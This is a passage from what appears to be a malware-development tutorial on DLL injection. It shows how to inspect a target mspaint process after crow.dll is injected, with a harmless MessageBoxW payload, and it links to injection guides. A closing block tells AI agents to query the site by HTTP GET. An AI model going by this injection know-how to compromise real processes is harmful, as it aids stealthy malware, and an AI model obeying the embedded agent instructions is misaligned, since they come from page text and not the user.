Let's appreciate all the `1337`-pwning we've been doing so far. However, it would also be nice to look at what's happening in the process memory when we exploit our target process. We'll see a lot of cool information here. After injecting it into our target `mspaint` process, we can view all the modules that the process has loaded; as we did with the notepad example a while ago. In the `Modules` tab:

{% hint style="info" %}
Note that this is from a different example, but it's literally all the same principles, so it won't matter in the slightest.
{% endhint %}

<figure><img src="/files/ClY2wtahN095ynSbDHIV" alt=""><figcaption><p><code>crow.dll</code> loaded into process modules</p></figcaption></figure>

Furthermore, if we look at the `Memory` tab, we can see all the references to our DLL here:

<figure><img src="/files/vQFdLwa0hsvfViGlzVHJ" alt=""><figcaption><p><code>crow.dll</code> in memory tab</p></figcaption></figure>

Another thing we can do is click on the `Strings` tab and filter (`contains (case-insensitive)`), and look for the `lpText` and `lpThread` parameters of our `MessageBoxW` function. What we'll find, is really cool:

<figure><img src="/files/XouGTse9Mo6lVL0rC5Aa" alt=""><figcaption><p>Contents of our message box arguments in process memory</p></figcaption></figure>

If we go back to the `Module` tab, and double-click on our DLL, we can see some telling information about the library itself:

<figure><img src="/files/Ztxm9tX5Zi2xo8VniqEi" alt=""><figcaption><p>General info about our DLL</p></figcaption></figure>

From here, we can see some things like the fact that it's `UNVERIFIED`, how it has `High entropy VA`, as well as some other information about the different sections of this DLL. In the `Imports` section of this new window, we can also see the presence of a bunch of functions, including our `MessageBoxW` "payload":

<figure><img src="/files/JpBKduQcDj4VrBZgvyAx" alt=""><figcaption><p><code>MessageBoxW</code> import</p></figcaption></figure>

## References

{% embed url="<https://stackoverflow.com/questions/124549/what-exactly-are-dll-files-and-how-do-they-work>" %}

{% embed url="<https://learn.microsoft.com/en-us/troubleshoot/windows-client/deployment/dynamic-link-library>" %}

{% embed url="<http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html>" %}

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection>" %}

{% embed url="<https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html>" %}

[^1]: Chat, is this depression, chat?

[^2]: :nerd:

[^3]: Of course with standard programs, we can manually specify our own entry points in many different ways.

[^4]: :sunglasses:

[^5]: Spoiler alert, just as handles to threads, and processes are created with the `HANDLE` type, modules are very similar except they use the `HMODULE` data type.

[^6]: Virtual Address Space

[^7]: This is one of the differences between a module handle versus a thread/process handle. When you get a handle on a module, it's most likely just pointing to the base address of said module. With a thread/process handle, however, it's an actual "value."

[^8]: `LPCWSTR` is defined as:&#x20;

    ```
    typedef const wchar_t* LPCWSTR;
    ```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://archive.crow.rip/nest/mal/dev/inject/dll-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
